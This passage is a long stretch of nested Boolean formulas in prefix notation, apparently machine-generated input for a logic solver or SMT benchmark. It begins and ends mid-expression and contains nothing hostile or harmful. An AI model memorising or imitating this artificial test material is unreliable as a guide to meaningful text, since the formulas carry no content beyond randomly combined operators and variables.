) ) ) ) ) ) (and (not (and (and (and (not (=> (not true ) (=> false true ) ) ) (= (= (= true d ) (and true true ) ) (=> (=> true true ) (or true true ) ) ) ) (=> (and (and (not (or s x ) ) (or true false ) ) (or false false ) ) (= (= (=> false true ) (not true ) ) (or (=> y true ) (and false false ) ) ) ) ) (or (=> (=> (or true false ) (= false k ) ) (not (not f ) ) ) (or (= (or (and true m ) (not true ) ) (not (=> false true ) ) ) (= (or (= false false ) (or (=> x true ) (= (not false ) (= true true ) ) ) ) (=> (= (and k false ) (= false true ) ) (not (and true z ) ) ) ) ) ) ) ) (not (and (=> (or (and (not (= false false ) ) (not (or false false ) ) ) (= (=> (and false g ) (= w y ) ) (= (not q ) (= n true ) ) ) ) (not (=> (= (= false t ) (= g t ) ) (not (= true false ) ) ) ) ) (not (and (and (and (and (or true (or false (or true r ) ) ) true ) true ) (or j r ) ) (=> (= (= t l ) (= false g ) ) (not (or true false ) ) ) ) ) ) ) ) ) ) ) ) ) (= (or (=> (= (not (and (and (or (and (and (or (not false ) (and false m ) ) (or (=> true true ) (not r ) ) ) (not (= (=> false e ) (=> true false ) ) ) ) (=> (= (=> (=> q false ) (=> true false ) ) (and (or r false ) (not false ) ) ) (or (not false ) (or (not true ) (or (=> false n ) (or false true ) ) ) ) ) ) (=> (and (=> (and (and false y ) (or true true ) ) (and (or false false ) (= true true ) ) ) (or (= (not false ) (and true w ) ) (not (= false false ) ) ) ) (=> (=> (=> (= e false ) (=> false z ) ) (and (not false ) (=> false o ) ) ) (and (=> (or b q ) (and true l ) ) (not (or r l ) ) ) ) ) ) (=> (not (or (=> (=> k r ) (=> false true ) ) (or (=> (=> false false ) (= x v ) ) (= (or true (or false (and i false ) ) ) (and (=> u true ) (not true ) ) ) ) ) ) (= (or (and (=> (or true f ) (= false true ) ) (not (or true true ) ) ) (or (= (and false true ) (not false ) ) (and (and (not q ) false ) t ) ) ) (=> (=> (= (= true o ) (= true a ) ) (=> (=> true false ) (not n ) ) ) (and (not (= true true ) ) (not (=> h true ) ) ) ) ) ) ) ) (= (and (and (= (or (=> (and (= (not true ) (=> l h ) ) (not (or g false ) ) ) (and (and (and (or (=> n q ) (and true false ) ) false ) true ) (= t true ) ) ) (= (= (not (and r false ) ) (=> (= false m ) (=> k false ) ) ) (and (not (not true ) ) (=> (or true false ) (or false false ) ) ) ) ) (not (or (not (and (or true d ) (= f true ) ) ) (and (and (= (and y true ) (not false ) ) (or true r ) ) (or true false ) ) ) ) ) (not (=> (and (and (not (not p ) ) (= false true ) ) (or false true ) ) (=> (or (and false z ) (= false x ) ) (or (=> g e ) (not false ) ) ) ) ) ) (= (or (not m ) (or (not true ) (or (=> (=> false false ) (=> i q ) ) (and (not (=> r c ) ) (not (and u true ) ) ) ) ) ) (= (=> (not (or true false ) ) (= (or true m ) (and true true ) ) ) (and (and (or (not d ) (or true true ) ) (not a ) ) (= true true ) ) ) ) ) (=> (or (not (and (= (not (=> h false ) ) (= (or c true ) (= true false ) ) ) (not (or true (or false (or r false ) ) ) ) ) ) (and (= (or (and (or d false ) (=> false g ) ) (= (= z e ) (= true x ) ) ) (not (not (=> v false ) ) ) ) (or (= (and (=> q false ) (= true true ) ) (=> (and false false ) (and h false ) ) ) (= (not (= false true ) ) (not (and g true ) ) ) ) ) ) (= (and (=> (= (not (= false true ) ) (not (= false true ) ) ) (=> (=> (and true true ) (= true false ) ) (= (= true v ) (= false true ) ) ) ) (=> (=> (= (and false false ) (and false false ) ) (= (and true true ) (or false d ) ) ) (=> (= (= i true ) (not true ) ) (not (and a true ) ) ) ) ) (=> (and (=> (and (or false true ) (or z r ) ) (not (and true false ) ) ) (= (= (or true false ) (not false ) ) (and (= z g ) (= false true ) ) ) ) (=> (and (=> (and l false ) (= true true ) ) (= (or false m ) (= false q ) ) ) (= (not (and false r ) ) (= (= m false ) (= true y ) ) ) ) ) ) ) ) ) (or (and (and (= (or (=> (= (and false false ) (= true false ) ) (and (or false false ) (not a ) ) ) (or (not (=> true false ) ) (and (and (or false d ) n ) false ) ) ) (= (= (and (and true false ) (= false true ) ) (= (not h ) (and true false ) ) ) (= (= (not true ) (not q ) ) (and (= true q ) (not j ) ) ) ) ) (not (=> (= (or (and false false ) (not true ) ) (not (=> false k ) ) ) (and (and (or (= false false ) (not true ) ) (=> k i ) ) (or true false ) ) ) ) ) (=> (=> (=> (and (or (not d ) (or e true ) ) (not (and x true ) ) ) (or (and false w ) (or (not true ) (= (and false p ) (= true false ) ) ) ) ) (=> (not (=> (and true true ) (and false h ) ) ) (= (not (= true true ) ) (not (=> true false ) ) ) ) ) (and (not (= (= (=> false a ) (= true true ) ) (and (and (or x true ) p ) false ) ) ) (= (or (not (= k s ) ) (not (= v true ) ) ) (= (=> (and false false ) (=> f true ) ) (and (= p false ) (not false ) ) ) ) ) ) ) (or (and (and (not (=> (=> (and (= (and false u ) (=> false h ) ) (not (not false ) ) ) (and (or (= l true ) (= false true ) ) (= (= u true ) (= false true ) ) ) ) (= (=> (=> (not d ) (= true true ) ) (and (and (= false g ) false ) true ) ) (and (or true (or o (=> d true ) ) ) (=> (not true ) (not false ) ) ) ) ) ) (= (not (and (not (or true l ) ) (or (and y u ) (=> a true ) ) ) ) (=> (and (and (= l z ) (not true ) ) (or (not false ) (and z true ) ) ) (or (=> (and f false ) (= true false ) ) (=> (=> false q ) (and v false ) ) ) ) ) ) (= (= (and (and (and (and (= false false ) (=> true true ) ) (not v ) ) w ) false ) (and (and (= (=> x false ) (= c c ) ) (= o e ) ) (=> l true ) ) ) (not (not (or (=> true true ) (= false true ) ) ) ) ) ) (and (=> (not (and (=> (= (and (and (or true true ) true ) t ) (=> (= e true ) (=> true m ) ) ) (=> (= (=> true false ) (and false true ) ) (=> (= n q ) (and c true ) ) ) ) (=> (=> (= (= h f ) (not i ) ) (and (= false false ) (not true ) ) ) (or (=> (= true true ) (not d ) ) (=> (= true true ) (not false ) ) ) ) ) ) (not (=> (and (or (=> (=> false false ) (or false c ) ) (or (and true true ) (=> true false ) ) ) (not (= (not f ) (or false true ) ) ) ) (and (=> (and (and false o ) (or false false ) ) (=> (=> false true ) (=> false false ) ) ) (or (not (= g true ) ) (or (=> false e ) (not x ) ) ) ) ) ) ) (not (=> (= (and (=> (or (= true n ) (= true false ) ) (= (or false m ) (not false ) ) ) (= (not (=> true false ) ) (=> (or false false ) (=> true true ) ) ) ) (=> (=> (not (and true false ) ) (= (not false ) (and u false ) ) ) (not (not (and false m ) ) ) ) ) (or (not (and (and (and true true ) (or true true ) ) (=> (= true y ) (=> true true ) ) ) ) (not (and (=> (not false ) (and k true ) ) (or (and s b ) (and false true ) ) ) ) ) ) ) ) ) ) ) (=> (not (and (=> (=> (=> (= (or (= (and g true ) (not false ) ) (not (or b false ) ) ) (=> (not (not true ) ) (=> (not j ) (= false true ) ) ) ) (=> (not (or (= e i ) (not false ) ) ) (and (or true (or true (= true b ) ) ) (not (= c false ) ) ) ) ) (or (not (not (= (not true ) (not false ) ) ) ) (and (and (not (and (= false d ) (or false true ) ) ) (not (or true x ) ) ) (= (not false ) (not false ) ) ) ) ) (not (not (= (or (=> (or false true ) (=> false true ) ) (=> (= false false ) (= true l ) ) ) (or (= (and true k ) (not g ) ) (= (= k x ) (or true n ) ) ) ) ) ) ) (= (and (= (= (=> (not (= true n ) ) (not (or e d ) ) ) (=> (or (= true false ) (and true x ) ) (and (or w true ) (= false true ) ) ) ) (or (=> (or true n ) (or t true ) ) (or (=> d true ) (or (not u ) (or (and (or true false ) (not x ) ) (=> (and e true ) (and true e ) ) ) ) ) ) ) (or (= (or (= (not true ) (=> i true ) ) (= (= false false ) (=> true u ) ) ) (not (= (=> w false ) (and r false ) ) ) ) (not (not (or (not false ) (or false true ) ) ) ) ) ) (and (and (or (not (= (or true false ) (=> true f ) ) ) (not (and (= i false ) (not true ) ) ) ) (=> (not (and (not false ) (or false t ) ) ) (=> (= (or v true ) (or true true ) ) (or (=> false true ) (=> false true ) ) ) ) ) (or (not (= (not (= q true ) ) (= (or false l ) (= true true ) ) ) ) (not (=> (not (not true ) ) (or (not k ) (and b c ) ) ) ) ) ) ) ) ) (not (or (=> (or (and (= (and (and (and false true ) (= false false ) ) (=> (and false false ) (and false h ) ) ) (or (and (=> true false ) (=> false m ) ) (=> (or false true ) (not true ) ) ) ) (= (= (or (and true d ) (= true p ) ) (and (or true true ) (=> false false ) ) ) (and (or (=> true p ) (or true s ) ) (or (=> true false ) (or true false ) ) ) ) ) (=> (not (and (or false (or d (or true false ) ) ) (or (=> c f ) (or v true ) ) ) ) (= (= (or (not true ) (=> false true ) ) (=> (and k false ) (and true n ) ) ) (= (= (and false false ) (=> n c ) ) (=> (or false true ) (and false true ) ) ) ) ) ) (=> (or (and (= (=> true false ) (or h false ) ) (=> (=> i false ) (and true i ) ) ) (or (and (and (and (or k true ) q ) f ) (not (or true n ) ) ) (or (= (or j false ) (and false false ) ) (or (=> (not q ) (and y true ) ) (or (=> (and true false ) (or true f ) ) (not (and false c ) ) ) ) ) ) ) (= (and (=> (=> (or true o ) (=> false true ) ) (or (= false o ) (not true ) ) ) (= (or (=> true true ) (not false ) ) (= (not false ) (and false true ) ) ) ) (=> (and (not (not false ) ) (= (or i true ) (=> w false ) ) ) (= (or (=> true true ) (not true ) ) (not (=> true true ) ) ) ) ) ) ) (not (and (and (=> (or (not (and l true ) ) (= (or false y ) (= z p ) ) ) (not (=> (=> l j ) (not false ) ) ) ) (= (=> (=> (= false p ) (and false p ) ) (or (= l a ) (or w false ) ) ) (=> (and (and (not true ) false ) false ) (and (and (not true ) n ) false ) ) ) ) (or (not (not (and (=> true false ) (not true ) ) ) ) (or (= (or false (or n (not true ) ) ) (not (and true m ) ) ) (not (and (or true false ) (= false y ) ) ) ) ) ) ) ) ) ) ) (= (and (not (not (=> (=> (= (not (not (=> (=> false true ) (and true true ) ) ) ) (= (not (= (not h ) (=> false p ) ) ) (= (or (not true ) (or true true ) ) (and (or c false ) (=> false true ) ) ) ) ) (= (= (= (not (not l ) ) (or true (or false (= r q ) ) ) ) (and (not (and s false ) ) (not (=> false true ) ) ) ) (= (= (and (and (= true i ) j ) false ) (and (and q false ) (= d h ) ) ) (= (or (not true ) (= false a ) ) (not (= b true ) ) ) ) ) ) (or (=> (and (and (and (=> (= false e ) (or true true ) ) (or (and false true ) (not false ) ) ) (not (or q true ) ) ) (or (=> true false ) (not d ) ) ) (not (=> (or (=> true u ) (=> false true ) ) (=> (= false true ) (=> true a ) ) ) ) ) (and (and (= (not (or (= false b ) (and true false ) ) ) (not (and (and (and true false ) true ) true ) ) ) (not (or true (or false (=> true false ) ) ) ) ) (not (and (and true a ) (=> r true ) ) ) ) ) ) ) ) (or (=> (not (and (and (not (=> (not true ) (=> t true ) ) ) (=> (= i w ) (and t w ) ) ) (not (and true true ) ) ) ) (= (and (= (and (and false f ) (=> false a ) ) (or (= true x ) (or true n ) ) ) (=> (not (or false true ) ) (not (and j false ) ) ) ) (and (or (not true ) (or (not false ) (=> (or false true ) (and j x ) ) ) ) (not (= (or x false ) (not false ) ) ) ) ) ) (or (= (not (or (= (not (not false ) ) (=> (or true a ) (= true z ) ) ) (or (not (and true f ) ) (= (and true true ) (=> true true ) ) ) ) ) (and (=> (or (= (or k false ) (or false b ) ) (and (= false true ) (not true ) ) ) (= (=> (= o false ) (=> true r ) ) (= (and c w ) (or true true ) ) ) ) (or (= (=> (or false false ) (=> true u ) ) (not (or q false ) ) ) (not (and (= false w ) (= false d ) ) ) ) ) ) (or (=> (or (= (=> (and (and (and (=> true true ) false ) false ) (= (not false ) (= true false ) ) ) (not (not (or true c ) ) ) ) (or (not (or g true ) ) (or (=> false true ) (or (and true false ) (=> (and (and o false ) (or false x ) ) (not (= z i ) ) ) ) ) ) ) (=> (=> (and (=> (=> t h ) (=> u true ) ) (or true (or a (not false ) ) ) ) (=> (and (not false ) (=> true p ) ) (and (or true true ) (=> true true ) ) ) ) (=> (or (=> (= true true ) (or h k ) ) (=> (= s true ) (and false false ) ) ) (not (or (not w ) (or false s ) ) ) ) ) ) (=> (or (=> (or (= (=> z q ) (= t false ) ) (not (and false k ) ) ) (and (not (or true true ) ) (or (not l ) (= h l ) ) ) ) (or (and (=> l true ) (or false true ) ) (or (= (not false ) (=> true true ) ) (=> (and (or z false ) (= q false ) ) (=> (=> true true ) (not false ) ) ) ) ) ) (or (= (=> (and true n ) (=> false true ) ) (and (not true ) (=> true e ) ) ) (or (not (=> false false ) ) (or (= (or m true ) (= g false ) ) (= (or (= (not false ) (or true false ) ) (=> (or true k ) (not f ) ) ) (and (=> (= true true ) (or false f ) ) (=> (=> true true ) (= false true ) ) ) ) ) ) ) ) ) (=> (=> (and (and (=> (= (=> (= false false ) (not true ) ) (=> (not c ) (=> true false ) ) ) (not (= (= false false ) (or false g ) ) ) ) (not (and (= (= false q ) (=> z false ) ) (or (not true ) (and true false ) ) ) ) ) (=> (not (and (not (=> false e ) ) (= (= j false ) (=> o false ) ) ) ) (or (not (= (=> true false ) (= false h ) ) ) (or (not true ) (or (=> o x ) (and (and (=> true h ) false ) m ) ) ) ) ) ) (and (=> (or (=> (= (=> false d ) (or false false ) ) (or (and true true ) (= true true ) ) ) (and (and (=> true g ) (=> false false ) ) (not (= false true ) ) ) ) (or (and (and (=> (and true false ) (not false ) ) (= false false ) ) (or true false ) ) (not (or (= true true ) (= w false ) ) ) ) ) (=> (= (and (and (and (= (= false w ) (=> false true ) ) true ) false ) (or false z ) ) (and (= (=> a true ) (not s ) ) (= (not p ) (and q true ) ) ) ) (= (=> (=> (and x h ) (=> false false ) ) (=> (not true ) (or w false ) ) ) (=> (= (and false false ) (or o false ) ) (= (not true ) (and true true ) ) ) ) ) ) ) (or (and (and (or (= (=> (or (= false f ) (or true false ) ) (not (=> true false ) ) ) (=> (or (=> true true ) (not s ) ) (=> (=> true false ) (= true false ) ) ) ) (= (not (=> (not true ) (=> false true ) ) ) (or true (or true (or (=> i true ) (or (=> false true ) (or true false ) ) ) ) ) ) ) (=> (=> (not (or j u ) ) (and (=> true false ) (not true ) ) ) (not (=> (or u false ) (not r ) ) ) ) ) (=> (and (and (=> false k ) (or false false ) ) (= (not g ) (and true y ) ) ) (= (=> (and v m ) (and false d ) ) (and (and (and true true ) false ) true ) ) ) ) (=> (= (or (and (and (= true u ) (not r ) ) (= (or true false ) (= false u ) ) ) (or (=> (or true n ) (or false true ) ) (and (or false false ) (not true ) ) ) ) (= (or (and (= s true ) (not false ) ) (or (=> h x ) (=> true k ) ) ) (= (=> (and true false ) (not true ) ) (or (=> o false ) (not false ) ) ) ) ) (and (or (= (and (not false ) (=> true j ) ) (or q (or c (and true u ) ) ) ) (and (not (or false false ) ) (not (=> j false ) ) ) ) (=> (or (=> (and f m ) (=> true false ) ) (and (and w g ) (= h false ) ) ) (=> (or g (or t (or i false ) ) ) (=> (= false false ) (and h true ) ) ) ) ) ) ) ) ) ) ) ) (=> (or (= (= (= (and (or (= q true ) (=> x p ) ) (or (not false ) (= i true ) ) ) (or (not (and p true ) ) (not (or true d ) ) ) ) (or (=> (= (and k n ) (and true false ) ) (= (= m false ) (= s false ) ) ) (and (and (not (or z false ) ) (= i true ) ) (=> false a ) ) ) ) (= (or (=> (and (not false ) (=> false l ) ) (or (and true false ) (or true i ) ) ) (=> (= (= true true ) (=> true false ) ) (or (not true ) (= true v ) ) ) ) (= (=> (not (or true false ) ) (and (= false false ) (not q ) ) ) (not (or (and i true ) (= false true ) ) ) ) ) ) (or (= (= (= (not (not (not false ) ) ) (not (= (not false ) (not t ) ) ) ) (not (= (not (= m v ) ) (= (or false true ) (and true true ) ) ) ) ) (=> (or (=> (=> (=> false true ) (not true ) ) (=> (not true ) (not false ) ) ) (not (= (=> d true ) (and true false ) ) ) ) (or (and (not (=> d false ) ) (=> (=> r true ) (not false ) ) ) (= (and (not false ) (= i false ) ) (not (=> false k ) ) ) ) ) ) (or (=> (=> (=> (= (not (or (and false false ) (and true true ) ) ) (= (or (not false ) (or true true ) ) (not (= true false ) ) ) ) (and (= (=> (= a k ) (=> true false ) ) (= (not x ) (= i v ) ) ) (= (=> (not a ) (not true ) ) (and (and (=> w true ) t ) false ) ) ) ) (= (or (not (and (and (not false ) false ) n ) ) (not (or (=> false e ) (= true j ) ) ) ) (or (and (and (and (and (not (and true false ) ) false ) true ) true ) false ) (and (and (=> j false ) (=> true true ) ) (not (or k false ) ) ) ) ) ) (= (or (not (not (=> (= true s ) (=> r e ) ) ) ) (not (or (=> true p ) (or (= u j ) (not (or true false ) ) ) ) ) ) (or (and (or (= (= c false ) (= p false ) ) (and (=> true y ) (= true false ) ) ) (= (= (= false true ) (not d ) ) (and (and true e ) (or true false ) ) ) ) (or (=> (not true ) (and m false ) ) (or (= (=> true x ) (or true q ) ) (=> (not (not e ) ) (not (not true ) ) ) ) ) ) ) ) (not (not (= (not (and (or (=> (or false v ) (or k false ) ) (=> (not x ) (=> false false ) ) ) (not (=> (or false false ) (=> true false ) ) ) ) ) (not (and (=> (or (and true o ) (not true ) ) (not (=> false q ) ) ) (not (=> (and true q ) (= false f ) ) ) ) ) ) ) ) ) ) ) (or (= (and (=> (= (=> (= (= (not true ) (or true false ) ) (not (and true false ) ) ) (and (and (= (or true true ) (=> true i ) ) (not false ) ) (=> g false ) ) ) (and (and (and (=> (=> g true ) (or true true ) ) (= false e ) ) (= false y ) ) (not (and (and m false ) (not k ) ) ) ) ) (not (and (not (= (and true b ) (=> s z ) ) ) (not (or (=> true false ) (and true true ) ) ) ) ) ) (or (= (=> (= (= (not v ) (and false true ) ) (= (=> true false ) (= c true ) ) ) (=> (=> (= h false ) (not z ) ) (=> (and k false ) (= false true ) ) ) ) (or (and (=> false s ) (= false v ) ) (or (=> (= true s ) (=> true false ) ) (and (and (or (and true false ) (or false true ) ) (= true i ) ) (not false ) ) ) ) ) (= (=> (=> (= (not z ) (=> true false ) ) (not (not false ) ) ) (or (= (and r true ) (and false true ) ) (or (= m false ) (or false h ) ) ) ) (or (and (not (= true false ) ) (not (=> r o ) ) ) (and (and (and (or l (or true (not true ) ) ) true ) true ) (not true ) ) ) ) ) ) (= (not (not (not (=> (and (and f w ) (=> false true ) ) (=> (not true ) (and true true ) ) ) ) ) ) (= (not (= (= (or false (or g (= false true ) ) ) (and (=> g o ) (not s ) ) ) (=> (not (= j true ) ) (or (= false true ) (= true d ) ) ) ) ) (=> (not (and (not (and false true ) ) (= (not false ) (not false ) ) ) ) (=> (=> (and (or false k ) (= false true ) ) (or (not true ) (or true i ) ) ) (=> (= (not true ) (=> y false ) ) (=> (= false true ) (=> a false ) ) ) ) ) ) ) ) (not (= (and (or (and (or (and (=> y z ) (=> true false ) ) (or (and true false ) (= s false ) ) ) (=> (=> (= false k ) (=> v false ) ) (= (=> false f ) (=> true f ) ) ) ) (and (or (not (not h ) ) (and (=> z false ) (or a o ) ) ) (not (or (=> true true ) (=> b m ) ) ) ) ) (= (=> (or (=> true true ) (or (and false false ) (or (and j false ) (and true false ) ) ) ) (not (or (= false l ) (and true true ) ) ) ) (=> (=> (not (=> false false ) ) (=> (= t false ) (=> false b ) ) ) (or (=> (= z r ) (=> true false ) ) (not (=> n false ) ) ) ) ) ) (=> (or (= (=> (or (not false ) (=> false m ) ) (= (not false ) (= r false ) ) ) (or (=> (= false c ) (=> r g ) ) (= (and false x ) (or m true ) ) ) ) (and (=> (not (and true true ) ) (not (and q false ) ) ) (= (not (not w ) ) (not (= true false ) ) ) ) ) (= (or (not (or l (or e (or h true ) ) ) ) (not (and (or e false ) (= false true ) ) ) ) (not (= (and (=> f false ) (= k false ) ) (=> (not false ) (and true true ) ) ) ) ) ) ) ) ) ) ) ) ) ) (and (=> (and (or (and (not (=> (=> (=> (or (= (and (and (=> (not h ) (= false true ) ) (=> false false ) ) (=> g false ) ) (or (= (= false o ) (=> true true ) ) (not (=> false false ) ) ) ) (not (or (and (and (=> false false ) true ) s ) (= (not false ) (or true true ) ) ) ) ) (=> (not (or (and (not k ) (=> false true ) ) (and (not true ) (=> true r ) ) ) ) (and (=> (not (or false true ) ) (= (or u false ) (or r true ) ) ) (not (= (and true c ) (= o false ) ) ) ) ) ) (=> (= (= (=> (and (or false f ) (= true true ) ) (=> (or false false ) (not false ) ) ) (or (not (=> c true ) ) (=> (not false ) (or d false ) ) ) ) (and (and (and (= (= false true ) (=> q true ) ) (= true false ) ) (or b false ) ) (not (not (= r y ) ) ) ) ) (or (=> (=> (and j false ) (not n ) ) (= (not false ) (not false ) ) ) (or (and (and (and (= (or g false ) (= true true ) ) (= false true ) ) r ) true ) (=> (not (not (and true true ) ) ) (= (and (= l q ) (= l v ) ) (and (not o ) (= d false ) ) ) ) ) ) ) ) (or (=> (not (and (=> (= (= false false ) (not m ) ) (or (=> false false ) (= false true ) ) ) (or (=> (and r false ) (not false ) ) (=> (= false r ) (=> true true ) ) ) ) ) (= (or (= (= (not l ) (=> true false ) ) (not (not true ) ) ) (or (not (= r b ) ) (= (not b ) (not d ) ) ) ) (= (=> (=> (or true true ) (not n ) ) (=> (= w true ) (or false false ) ) ) (or (not (=> x true ) ) (and (or true true ) (=> true true ) ) ) ) ) ) (and (not (and (and (=> (not k ) (not true ) ) (=> (= o n ) (not false ) ) ) (= (and (or false c ) (=> true a ) ) (and (and (=> u x ) false ) false ) ) ) ) (or (= (or (=> true l ) (or (and n f ) (=> (and true false ) (= true true ) ) ) ) (= (or (= h false ) (= true true ) ) (= (and m false ) (and true false ) ) ) ) (=> (=> (or (=> s false ) (= n false ) ) (and (and (and false false ) b ) t ) ) (or (not (and false false ) ) (and (= v false ) (or false true ) ) ) ) ) ) ) ) ) (=> (=> (=> (=> (not (and (and (and (and (or (not false ) (not true ) ) (or (= true n ) (or true false ) ) ) (=> false true ) ) (or false y ) ) (= (not false ) (= false true ) ) ) ) (and (not (and (=> (not d ) (= true true ) ) (not (and q true ) ) ) ) (=> (not (not (=> true true ) ) ) (=> (= (=> true r ) (or true x ) ) (and (and false true ) (=> w true ) ) ) ) ) ) (=> (=> (not (= (not (not false ) ) (and (=> false false ) (= v false ) ) ) ) (not (=> (or (=> n false ) (or true false ) ) (or (not false ) (= true o ) ) ) ) ) (or (= (not (=> (and false true ) (= false true ) ) ) (or (=> false false ) (or (=> true false ) (or true (or e (= false m ) ) ) ) ) ) (and (and (or (and true z ) (and true false ) ) (= (= z false ) (= false true ) ) ) (not (and (and u false ) (=> false k ) ) ) ) ) ) ) (=> (= (or (= (= (not true ) (not false ) ) (= (and g true ) (not i ) ) ) (or (and (and (and (not (= s false ) ) (or true t ) ) y ) false ) (or (not (and (and false false ) (not true ) ) ) (=> (=> (or true true ) (or true z ) ) (=> (= false b ) (or true true ) ) ) ) ) ) (and (=> (= (= (not true ) (= v false ) ) (=> (not false ) (and true false ) ) ) (=> (and (=> true false ) (=> false a ) ) (=> (and g true ) (= p true ) ) ) ) (=> (=> (=> (or false false ) (or true e ) ) (or (not true ) (= o n ) ) ) (= (not (= false b ) ) (= (or y false ) (and c true ) ) ) ) ) ) (or (= (=> (or (and (and true true ) (=> false z ) ) (=> (and false false ) (not true ) ) ) (and (and (and (or (=> false true ) (or false k ) ) true ) false ) (= j true ) ) ) (or (not (not (=> false true ) ) ) (= (=> (or true false ) (=> false true ) ) (= (and true p ) (or g b ) ) ) ) ) (not (= (and (not (=> g true ) ) (=> (and b true ) (=> false b ) ) ) (=> (= (= f false ) (or false false ) ) (and (and (=> false false ) true ) y ) ) ) ) ) ) ) (=> (not (=> (not (or (not false ) (or (not true ) (or (= (or w x ) (=> true n ) ) (and (=> (or a false ) (not s ) ) (or (= true f ) (=> false false ) ) ) ) ) ) ) (or (and (=> (=> (and true t ) (= i o ) ) (not (=> a p ) ) ) (or (not true ) (or (and false true ) (=> (not false ) (not false ) ) ) ) ) (=> (not (and (=> r true ) (= y false ) ) ) (and (=> (or t true ) (or false true ) ) (= (not true ) (not false ) ) ) ) ) ) ) (= (=> (= (=> (and (=> (= true false ) (and w a ) ) (=> (and false b ) (or a h ) ) ) (= (or false (or true (= true false ) ) ) (and (=> q false ) (=> true false ) ) ) ) (= (= (or (= true g ) (=> true false ) ) (and (and (=> b true ) j ) false ) ) (not (not (= false false ) ) ) ) ) (=> (= (= (=> (= z true ) (and false false ) ) (= (=> true false ) (or q q ) ) ) (or (= (= false false ) (and false false ) ) (or (and y true ) (and false false ) ) ) ) (or (not (= (=> true false ) (= o false ) ) ) (=> (=> (not false ) (=> true true ) ) (not (or false f ) ) ) ) ) ) (= (=> (not (not (not (and true false ) ) ) ) (and (and (= (and false true ) (or true true ) ) (= (or true false ) (and q false ) ) ) (= (and (=> true false ) (= s true ) ) (=> (or i b ) (not false ) ) ) ) ) (= (not (= (or (=> o c ) (not true ) ) (or (= false false ) (= true false ) ) ) ) (and (and (= (not q ) (= true true ) ) (= (=> false true ) (=> true true ) ) ) (not (= (or n false ) (and true false ) ) ) ) ) ) ) ) ) ) (= (not (or (=> (not (or (not (=> false false ) ) (=> (or true false ) (=> true false ) ) ) ) (or (and (and (= true true ) (or z true ) ) (=> (= v true ) (and false false ) ) ) (= (and (=> false a ) (=> true false ) ) (and (not j ) (or false true ) ) ) ) ) (or (= (and (and (and (or (not true ) (or true w ) ) (= false j ) ) (=> true true ) ) (or (not (not true ) ) (or (not false ) (=> w q ) ) ) ) (and (=> (and (and q true ) (or true r ) ) (=> (not b ) (= false l ) ) ) (=> (= (= false false ) (=> f false ) ) (or (not g ) (= false true ) ) ) ) ) (or (=> (not (= (= (not (= false true ) ) (not (= r b ) ) ) (= (=> (or false true ) (and h true ) ) (=> (not q ) (= true true ) ) ) ) ) (not (and (and (= (= (not false ) (not s ) ) (and (or false false ) (or true h ) ) ) (or (and true e ) (not false ) ) ) (or (= false l ) (=> false false ) ) ) ) ) (not (and (and (and (= (or (not (= (and z n ) (=> l false ) ) ) (=> (not (or true p ) ) (or (and true u ) (= true false ) ) ) ) (=> (or (and (and (= false false ) true ) false ) (not (=> w y ) ) ) (or true (or true (or (=> true h ) (not (=> false true ) ) ) ) ) ) ) (= (=> (and (or false false ) (or false v ) ) (= (= false g ) (or true false ) ) ) (not (and (and (and b true ) true ) c ) ) ) ) (not (and (not u ) (not true ) ) ) ) (= (or (=> o false ) (=> e true ) ) (and (and m p ) (= true true ) ) ) ) ) ) ) ) ) (and (not (or (= (or (= (or (= c t ) (or (not false ) (and (or false false ) (not false ) ) ) ) (or (and (=> v false ) (=> true false ) ) (and (and c false ) (or true m ) ) ) ) (= (or (=> (= true false ) (or true y ) ) (and (=> true true ) (= false false ) ) ) (and (and (= (not false ) (=> e false ) ) (= true f ) ) (= o false ) ) ) ) (or (= (= (not true ) (or false c ) ) (not (=> true false ) ) ) (or (and (and (and (and (= (or true p ) (=> w r ) ) s ) u ) c ) j ) (= (not (or (and true s ) (not false ) ) ) (not (or (and z w ) (= false true ) ) ) ) ) ) ) (not (= (= (= (or (and false true ) (and true true ) ) (not (=> e true ) ) ) (not (and (and (=> j false ) true ) g ) ) ) (or (=> (or (and false false ) (or false y ) ) (= (= m false ) (not p ) ) ) (or (= (or true true ) (not true ) ) (not (or false l ) ) ) ) ) ) ) ) (=> (=> (=> (=> (not (not (= (= true e ) (and f x ) ) ) ) (or (= (not (not true ) ) (or true (or false (=> true s ) ) ) ) (not (=> (= false true ) (= true true ) ) ) ) ) (=> (=> (and (and (=> (=> false true ) (and j true ) ) (= false true ) ) (or false false ) ) (not (or (=> g k ) (and y true ) ) ) ) (= (or (and (=> false m ) (not z ) ) (or (= false true ) (= false i ) ) ) (not (or true (or h (and b true ) ) ) ) ) ) ) (not (= (not (or (not (not false ) ) (and (= true true ) (=> r true ) ) ) ) (=> (=> (= (= c x ) (=> true true ) ) (and (and false e ) (=> true false ) ) ) (= (or false (or s (=> true f ) ) ) (not (= x true ) ) ) ) ) ) ) (not (or (= (=> (= (= (=> e true ) (or false t ) ) (or false (or false (or b false ) ) ) ) (and (= (or z false ) (not false ) ) (=> (and false false ) (or f d ) ) ) ) (not (= (= (or false v ) (=> r u ) ) (= (or true false ) (not true ) ) ) ) ) (=> (= (= (and (or m false ) (or true true ) ) (and (and true r ) (not true ) ) ) (=> (not (and y true ) ) (=> (not true ) (or true false ) ) ) ) (or (= (= true z ) (and true c ) ) (or (not (= n u ) ) (not (and (= true false ) (=> i false ) ) ) ) ) ) ) ) ) ) ) ) (or (= (= (or (not (not (=> (not (or (=> a true ) (or (= false z ) (=> (or k false ) (or false true ) ) ) ) ) (= (not (=> (=> a false ) (=> false true ) ) ) (and (or false (or false (not v ) ) ) (= (=> true f ) (=> false t ) ) ) ) ) ) ) (not (=> (and (not (or (= (and y true ) (or y false ) ) (not (or d false ) ) ) ) (not (=> (= (and q true ) (=> true e ) ) (and (and (and true true ) false ) h ) ) ) ) (not (and (and (= (and (and (=> l false ) false ) false ) (and (and true true ) (or false true ) ) ) (or (not z ) (=> w false ) ) ) (=> (not g ) (=> false false ) ) ) ) ) ) ) (= (not (or (and (not (= (and (not false ) (or false false ) ) (= (and false o ) (=> x true ) ) ) ) (= (= (or (= false z ) (= s false ) ) (not (or true false ) ) ) (and (= (not true ) (and true false ) ) (=> (=> true a ) (or a true ) ) ) ) ) (=> (or (not (and (and (and true false ) w ) true ) ) (or (not (=> false true ) ) (or (and t o ) (=> false true ) ) ) ) (and (= (=> (and false true ) (= true false ) ) (and (=> w true ) (or false true ) ) ) (=> (and (= a true ) (not true ) ) (not (or x false ) ) ) ) ) ) ) (and (and (=> (or (= (and (= false true ) (not true ) ) (not (= x b ) ) ) (= (=> (not l ) (not true ) ) (= (= false true ) (or false true ) ) ) ) (= (= (or (and true false ) (=> u true ) ) (and (or true false ) (or false true 